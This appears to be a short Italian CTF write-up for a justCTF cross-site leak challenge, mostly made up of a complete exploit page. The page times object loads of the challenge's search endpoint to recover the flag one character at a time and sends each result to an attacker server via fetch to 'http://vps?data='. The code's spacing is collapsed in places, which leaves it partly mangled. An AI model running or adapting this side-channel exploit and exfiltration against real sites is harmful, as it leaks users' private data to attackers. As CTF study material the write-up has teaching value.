In questa sfida l'utente poteva inviare migliaia di caratteri e se il flag era contenuto, i caratteri venivano restituiti al bot. Quindi, inviando una grande quantità di caratteri, l'attaccante poteva misurare se il flag era contenuto nella stringa inviata o meno.
Inizialmente, non ho impostato la larghezza e l'altezza dell'oggetto, ma successivamente ho scoperto che è importante perché la dimensione predefinita è troppo piccola per fare la differenza nel tempo di caricamento.
<!DOCTYPEhtml><html><head></head><body><imgsrc="https://deelay.me/30000/https://example.com"><script>fetch('https://deelay.me/30000/https://example.com')functionsend(data) {fetch('http://vps?data='+encodeURIComponent(data)).catch(err =>1)}functionleak(char, callback) {returnnewPromise(resolve => {let ss ='just_random_string'let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start =performance.now()let object =document.createElement('object');object.width ='2000px'object.height ='2000px'object.data = url;object.onload= () => {object.remove()let end =performance.now()resolve(end - start)}object.onerror= () =>console.log('Error event triggered');document.body.appendChild(object);})}send('start')let charset ='abcdefghijklmnopqrstuvwxyz_}'.split('')let flag ='justCTF{'asyncfunctionmain() {let found =0let notFound =0for(let i=0;i<3;i++) {awaitleak('..')}for(let i=0; i<3; i++) {found +=awaitleak('justCTF')}for(let i=0; i<3; i++) {notFound +=awaitleak('NOT_FOUND123')}found /=3notFound /=3send('found flag:'+found)send('not found flag:'+notFound)let threshold = found - ((found - notFound)/2)send('threshold:'+threshold)if (notFound > found) {return}// exploitwhile(true) {if (flag[flag.length-1] ==='}') {break}for(let char of charset) {let trying = flag + charlet time =0for(let i=0; i<3; i++) {time +=awaitleak(trying)}time/=3send('char:'+trying+',time:'+time)if (time >= threshold) {flag += charsend(flag)break}}}}main()</script></body></html>